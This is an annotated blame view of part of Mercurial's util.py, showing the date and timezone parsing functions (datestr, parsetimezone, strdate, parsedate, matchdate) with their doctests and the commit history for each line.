16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
1975 >>> datestr((-42, 0))
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
1976 'Wed Dec 31 23:59:18 1969 +0000'
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
1977 >>> datestr((0x7fffffff, 0))
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
1978 'Tue Jan 19 03:14:07 2038 +0000'
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
1979 >>> datestr((-0x80000000, 0))
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
1980 'Fri Dec 13 20:45:52 1901 +0000'
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
1981 """
1321
b47f96a178a3 Clean up date and timezone handling.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1320
diff changeset
1982 t, tz = date or makedate()
19989
c38c3fdc8b93 date: allow %z in format (issue4040)
Matt Mackall <mpm@selenic.com>
parents: 19951
diff changeset
1983 if "%1" in format or "%2" in format or "%z" in format:
6229
c3182eeb70ea dates: improve timezone handling
Matt Mackall <mpm@selenic.com>
parents: 6224
diff changeset
1984 sign = (tz > 0) and "-" or "+"
9029
0001e49f1c11 compat: use // for integer division
Alejandro Santos <alejolp@alejolp.com>
parents: 8938
diff changeset
1985 minutes = abs(tz) // 60
27066
6f1f8e88f036 util.datestr: use divmod()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27016
diff changeset
1986 q, r = divmod(minutes, 60)
19989
c38c3fdc8b93 date: allow %z in format (issue4040)
Matt Mackall <mpm@selenic.com>
parents: 19951
diff changeset
1987 format = format.replace("%z", "%1%2")
27066
6f1f8e88f036 util.datestr: use divmod()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27016
diff changeset
1988 format = format.replace("%1", "%c%02d" % (sign, q))
6f1f8e88f036 util.datestr: use divmod()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27016
diff changeset
1989 format = format.replace("%2", "%02d" % r)
28825
87c6ad2251d8 date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents: 28818
diff changeset
1990 d = t - tz
87c6ad2251d8 date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents: 28818
diff changeset
1991 if d > 0x7fffffff:
87c6ad2251d8 date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents: 28818
diff changeset
1992 d = 0x7fffffff
28864
b0811a9fe67c date: fix boundary check of negative integer
Florent Gallaire <fgallaire@gmail.com>
parents: 28835
diff changeset
1993 elif d < -0x80000000:
b0811a9fe67c date: fix boundary check of negative integer
Florent Gallaire <fgallaire@gmail.com>
parents: 28835
diff changeset
1994 d = -0x80000000
28825
87c6ad2251d8 date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents: 28818
diff changeset
1995 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
87c6ad2251d8 date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents: 28818
diff changeset
1996 # because they use the gmtime() system call which is buggy on Windows
87c6ad2251d8 date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents: 28818
diff changeset
1997 # for negative values.
87c6ad2251d8 date: reallow negative timestamp, fix for Windows buggy gmtime() (issue2513)
Florent Gallaire <fgallaire@gmail.com>
parents: 28818
diff changeset
1998 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
31458
756175623f2e py3: call strftime() with native str type
Yuya Nishihara <yuya@tcha.org>
parents: 31457
diff changeset
1999 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1987
04c17fc39c84 add changelog style to command line template.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1976
diff changeset
2000 return s
1829
b0f6af327fd4 hgwebdir: export collections of repos
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1635
diff changeset
2001
6134
7b937b26adf7 Make annotae/grep print short dates with -q/--quiet.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6111
diff changeset
2002 def shortdate(date=None):
7b937b26adf7 Make annotae/grep print short dates with -q/--quiet.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6111
diff changeset
2003 """turn (timestamp, tzoff) tuple into iso 8631 date."""
6229
c3182eeb70ea dates: improve timezone handling
Matt Mackall <mpm@selenic.com>
parents: 6224
diff changeset
2004 return datestr(date, format='%Y-%m-%d')
6134
7b937b26adf7 Make annotae/grep print short dates with -q/--quiet.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6111
diff changeset
2005
29636
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2006 def parsetimezone(s):
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2007 """find a trailing timezone, if any, in string, and return a
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2008 (offset, remainder) pair"""
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2009
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2010 if s.endswith("GMT") or s.endswith("UTC"):
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2011 return 0, s[:-3].rstrip()
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2012
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2013 # Unix-style timezones [+-]hhmm
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2014 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2015 sign = (s[-5] == "+") and 1 or -1
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2016 hours = int(s[-4:-2])
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2017 minutes = int(s[-2:])
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2018 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2019
29637
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
2020 # ISO8601 trailing Z
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
2021 if s.endswith("Z") and s[-2:-1].isdigit():
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
2022 return 0, s[:-1]
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
2023
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
2024 # ISO8601-style [+-]hh:mm
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
2025 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
2026 s[-5:-3].isdigit() and s[-2:].isdigit()):
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
2027 sign = (s[-6] == "+") and 1 or -1
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
2028 hours = int(s[-5:-3])
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
2029 minutes = int(s[-2:])
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
2030 return -sign * (hours * 60 + minutes) * 60, s[:-6]
46b2ccce7fde date: parse ISO-style Z and +hh:mm timezone specs
Matt Mackall <mpm@selenic.com>
parents: 29636
diff changeset
2031
29636
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2032 return None, s
26126
7b625baed995 util: extract function that parses timezone string
Yuya Nishihara <yuya@tcha.org>
parents: 26098
diff changeset
2033
31402
8b6927eb7efd util: don't use mutable default argument value
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31377
diff changeset
2034 def strdate(string, format, defaults=None):
2522
85f796baab10 Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents: 2480
diff changeset
2035 """parse a localized time string and return a (unixtime, offset) tuple.
85f796baab10 Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents: 2480
diff changeset
2036 if the string cannot be parsed, ValueError is raised."""
31474
da83f12d7a88 util: explicitly tests for None
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31462
diff changeset
2037 if defaults is None:
da83f12d7a88 util: explicitly tests for None
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31462
diff changeset
2038 defaults = {}
31402
8b6927eb7efd util: don't use mutable default argument value
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31377
diff changeset
2039
3255
e96d2956eb4a util.strdate: compute timestamp using UTC, not local timezone
Jose M. Prieto <jmprieto@gmx.net>
parents: 3176
diff changeset
2040 # NOTE: unixtime = localunixtime + offset
29636
84ef4517de03 date: refactor timezone parsing
Matt Mackall <mpm@selenic.com>
parents: 29613
diff changeset
2041 offset, date = parsetimezone(string)
3808
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
2042
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2043 # add missing elements from defaults
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2044 usenow = False # default to using biased defaults
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2045 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
32203
52e222eef646 py3: use pycompat.bytestr instead of bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 32202
diff changeset
2046 part = pycompat.bytestr(part)
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2047 found = [True for p in part if ("%"+p) in format]
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2048 if not found:
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2049 date += "@" + defaults[part][usenow]
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2050 format += "@%" + part[0]
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2051 else:
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2052 # We've found a specific time element, less specific time
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2053 # elements are relative to today
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2054 usenow = True
3808
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
2055
32330
2959c3e986e0 py3: convert date and format arguments str before passing in time.strptime
Pulkit Goyal <7895pulkit@gmail.com>
parents: 32248
diff changeset
2056 timetuple = time.strptime(encoding.strfromlocal(date),
2959c3e986e0 py3: convert date and format arguments str before passing in time.strptime
Pulkit Goyal <7895pulkit@gmail.com>
parents: 32248
diff changeset
2057 encoding.strfromlocal(format))
3256
e5c9a084ffe3 util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents: 3255
diff changeset
2058 localunixtime = int(calendar.timegm(timetuple))
e5c9a084ffe3 util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents: 3255
diff changeset
2059 if offset is None:
e5c9a084ffe3 util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents: 3255
diff changeset
2060 # local timezone
e5c9a084ffe3 util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents: 3255
diff changeset
2061 unixtime = int(time.mktime(timetuple))
e5c9a084ffe3 util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents: 3255
diff changeset
2062 offset = unixtime - localunixtime
e5c9a084ffe3 util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents: 3255
diff changeset
2063 else:
e5c9a084ffe3 util.strdate: assume local time when no timezone specified
Jose M. Prieto <jmprieto@gmx.net>
parents: 3255
diff changeset
2064 unixtime = localunixtime + offset
3255
e96d2956eb4a util.strdate: compute timestamp using UTC, not local timezone
Jose M. Prieto <jmprieto@gmx.net>
parents: 3176
diff changeset
2065 return unixtime, offset
2522
85f796baab10 Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents: 2480
diff changeset
2066
26311
60dd8e3977f0 util: avoid mutable default arguments
Siddharth Agarwal <sid0@fb.com>
parents: 26267
diff changeset
2067 def parsedate(date, formats=None, bias=None):
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2068 """parse a localized date/time and return a (unixtime, offset) tuple.
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
2069
2522
85f796baab10 Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents: 2480
diff changeset
2070 The date may be a "unixtime offset" string or in one of the specified
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
2071 formats. If the date already is a (unixtime, offset) tuple, it is returned.
18537
ae60735e37d2 dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents: 18326
diff changeset
2072
34363
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34362
diff changeset
2073 >>> parsedate(b' today ') == parsedate(
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34362
diff changeset
2074 ... datetime.date.today().strftime('%b %d').encode('ascii'))
18537
ae60735e37d2 dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents: 18326
diff changeset
2075 True
34363
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34362
diff changeset
2076 >>> parsedate(b'yesterday ') == parsedate(
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34362
diff changeset
2077 ... (datetime.date.today() - datetime.timedelta(days=1)
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34362
diff changeset
2078 ... ).strftime('%b %d').encode('ascii'))
18537
ae60735e37d2 dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents: 18326
diff changeset
2079 True
18614
b2586e2cc67a parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents: 18603
diff changeset
2080 >>> now, tz = makedate()
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2081 >>> strnow, strtz = parsedate(b'now')
18614
b2586e2cc67a parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents: 18603
diff changeset
2082 >>> (strnow - now) < 1
b2586e2cc67a parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents: 18603
diff changeset
2083 True
b2586e2cc67a parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents: 18603
diff changeset
2084 >>> tz == strtz
b2586e2cc67a parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents: 18603
diff changeset
2085 True
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
2086 """
26311
60dd8e3977f0 util: avoid mutable default arguments
Siddharth Agarwal <sid0@fb.com>
parents: 26267
diff changeset
2087 if bias is None:
60dd8e3977f0 util: avoid mutable default arguments
Siddharth Agarwal <sid0@fb.com>
parents: 26267
diff changeset
2088 bias = {}
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
2089 if not date:
3807
e43b48f0f718 parsedate: allow '' for epoch
Matt Mackall <mpm@selenic.com>
parents: 3806
diff changeset
2090 return 0, 0
6230
c7253d1a774e dates: Fix bare times to be relative to "today"
Matt Mackall <mpm@selenic.com>
parents: 6229
diff changeset
2091 if isinstance(date, tuple) and len(date) == 2:
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
2092 return date
2609
6c5b1b5cc160 util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents: 2601
diff changeset
2093 if not formats:
6c5b1b5cc160 util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents: 2601
diff changeset
2094 formats = defaultdateformats
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
2095 date = date.strip()
18537
ae60735e37d2 dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents: 18326
diff changeset
2096
24188
5a7920c4d2ea util: accept "now, today, yesterday" for dates even the locale is not english
Andr? Klitzing <aklitzing@gmail.com>
parents: 24164
diff changeset
2097 if date == 'now' or date == _('now'):
18614
b2586e2cc67a parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents: 18603
diff changeset
2098 return makedate()
24188
5a7920c4d2ea util: accept "now, today, yesterday" for dates even the locale is not english
Andr? Klitzing <aklitzing@gmail.com>
parents: 24164
diff changeset
2099 if date == 'today' or date == _('today'):
34363
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34362
diff changeset
2100 date = datetime.date.today().strftime(r'%b %d')
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34362
diff changeset
2101 date = encoding.strtolocal(date)
24188
5a7920c4d2ea util: accept "now, today, yesterday" for dates even the locale is not english
Andr? Klitzing <aklitzing@gmail.com>
parents: 24164
diff changeset
2102 elif date == 'yesterday' or date == _('yesterday'):
18537
ae60735e37d2 dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents: 18326
diff changeset
2103 date = (datetime.date.today() -
34363
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34362
diff changeset
2104 datetime.timedelta(days=1)).strftime(r'%b %d')
b76937fafe8a py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents: 34362
diff changeset
2105 date = encoding.strtolocal(date)
18537
ae60735e37d2 dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents: 18326
diff changeset
2106
2522
85f796baab10 Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents: 2480
diff changeset
2107 try:
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
2108 when, offset = map(int, date.split(' '))
2523
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
2109 except ValueError:
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2110 # fill out defaults
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2111 now = makedate()
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2112 defaults = {}
13200
6f011cf52f9a avoid .split() in for loops and use tuples instead
David Soria Parra <dsp@php.net>
parents: 13197
diff changeset
2113 for part in ("d", "mb", "yY", "HI", "M", "S"):
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2114 # this piece is for rounding the specific end of unknowns
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2115 b = bias.get(part)
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2116 if b is None:
32202
6f173560c7f4 py3: slice over bytes to prevent getting ascii values
Pulkit Goyal <7895pulkit@gmail.com>
parents: 32176
diff changeset
2117 if part[0:1] in "HMS":
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2118 b = "00"
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2119 else:
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2120 b = "0"
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2121
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2122 # this piece is for matching the generic end to today's date
32202
6f173560c7f4 py3: slice over bytes to prevent getting ascii values
Pulkit Goyal <7895pulkit@gmail.com>
parents: 32176
diff changeset
2123 n = datestr(now, "%" + part[0:1])
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2124
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2125 defaults[part] = (b, n)
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2126
2523
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
2127 for format in formats:
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
2128 try:
6139
989467e8e3a9 Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 6135
diff changeset
2129 when, offset = strdate(date, format, defaults)
6087
12856a1742dc better handle errors with date parsing (issue983)
Dirkjan Ochtman <dirkjan@ochtman.nl>
parents: 5917
diff changeset
2130 except (ValueError, OverflowError):
2523
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
2131 pass
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
2132 else:
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
2133 break
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
2134 else:
32496
bb18728ea617 util: raise ParseError when parsing dates (BC)
Boris Feld <boris.feld@octobus.net>
parents: 32445
diff changeset
2135 raise error.ParseError(_('invalid date: %r') % date)
2523
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
2136 # validate explicit (probably user-specified) date and
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
2137 # time zone offset. values must fit in signed 32 bits for
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
2138 # current 32-bit linux runtimes. timezones go from UTC-12
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
2139 # to UTC+14
28864
b0811a9fe67c date: fix boundary check of negative integer
Florent Gallaire <fgallaire@gmail.com>
parents: 28835
diff changeset
2140 if when < -0x80000000 or when > 0x7fffffff:
32496
bb18728ea617 util: raise ParseError when parsing dates (BC)
Boris Feld <boris.feld@octobus.net>
parents: 32445
diff changeset
2141 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2523
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
2142 if offset < -50400 or offset > 43200:
32496
bb18728ea617 util: raise ParseError when parsing dates (BC)
Boris Feld <boris.feld@octobus.net>
parents: 32445
diff changeset
2143 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2523
4ab59a3acd16 validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 2522
diff changeset
2144 return when, offset
2522
85f796baab10 Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents: 2480
diff changeset
2145
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2146 def matchdate(date):
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2147 """Return a function that matches a given date match specifier
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2148
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2149 Formats include:
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2150
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2151 '{date}' match a given date to the accuracy provided
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2152
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2153 '<{date}' on or before a given date
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2154
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2155 '>{date}' on or after a given date
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
2156
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2157 >>> p1 = parsedate(b"10:29:59")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2158 >>> p2 = parsedate(b"10:30:00")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2159 >>> p3 = parsedate(b"10:30:59")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2160 >>> p4 = parsedate(b"10:31:00")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2161 >>> p5 = parsedate(b"Sep 15 10:30:00 1999")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
2162 >>> f = matchdate(b"10:30")
13212
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2163 >>> f(p1[0])
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2164 False
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2165 >>> f(p2[0])
5d0a30fad7de date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents: 13204
diff changeset
2166 True
